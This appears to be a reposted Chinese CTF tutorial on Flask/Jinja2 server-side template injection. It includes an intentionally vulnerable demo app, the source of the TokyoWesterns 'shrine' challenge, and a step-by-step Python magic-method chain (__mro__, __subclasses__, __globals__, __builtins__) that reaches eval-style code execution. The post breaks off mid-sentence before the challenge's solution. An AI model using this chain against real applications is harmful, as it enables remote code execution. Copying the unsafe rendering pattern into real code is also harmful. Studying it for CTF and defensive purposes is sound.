CTF 中常见 Python 题型 SSTI

king 2020-09-26
CTF 发布于 2020-09-26 01:22:03 阅读 374 评论 0

CTF中Python类题目算是我的苦手,每次看到Python相关就头大,但是大四为了多拿点奖项,必须啃硬骨头,先学一手SSTI.

SSTI

SSTI即服务端模板注入攻击,服务端接受用户输入,将其作为Web应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等。

我们从Flask入手,代码是重中之重,所以很有必要去读一下它的文档

来个demo:

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/<name>')
def index(name):
 template = '<h1>Hello {}!</h1>'.format(name)
 return render_template_string(template)

if __name__ == '__main__':
 app.run()

将用户输入的字符串渲染进模板中,如果有恶意输入就凉凉,测试一下:4

CTF中常见Python题型SSTI
可以看到表达式字符串被解析执行了,这个就很类似于struts 2曾经出的那些漏洞,也是表达式被解析执行导致可以执行代码。

按这张图可以测试出具体是什么模板引擎:

CTF中常见Python题型SSTI
以TokyoWesterns CTF的一道题shrine为例,页面中给出源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以看到有拼接字符串再渲染的过程,但是有过滤函数,将圆括号替换为空,黑名单词汇有config和self两个。

flag是在配置里,如何读取呢?

本来可以直接输入,如下:

CTF中常见Python题型SSTI
但是有黑名单,所以就要用到Python的魔术方法。

魔术方法

__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__   #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,

利用思路一般是先多获取基类,在获取其子类,之后寻找重载过的init类,再用builtins查看引用,最后在其中寻找可利用的函数。

来看我们第一个demo,假设我们要读取本地的一个文件,尝试构造利用链。

  • 获取基类,这里要看清楚第几个是object类,Python2与Python3的个数不同,例子使用的是Python3
    ''.__class__.__mro__
  • 获取object的子类
    ''.__class__.__mro__[1].__subclasses__()
  • 寻找重载过的init类,即其中不包含wrapper字样,可以用循环输出所有的:
    for i in range(0, len(''.__class__.__mro__[1].__subclasses__())):
      print(''.__class__.__mro__[1].__subclasses__()[i].__init__)
  • 查看其引用
    ''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins']
    这里返回的是字典,在字典的keys里寻找可用的函数,如eval、file等。

上面那道题因为flag在配置信息里,所以就
Author: 白袍

Link: https://eviladan0s.github.io/2020/09/05/py...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!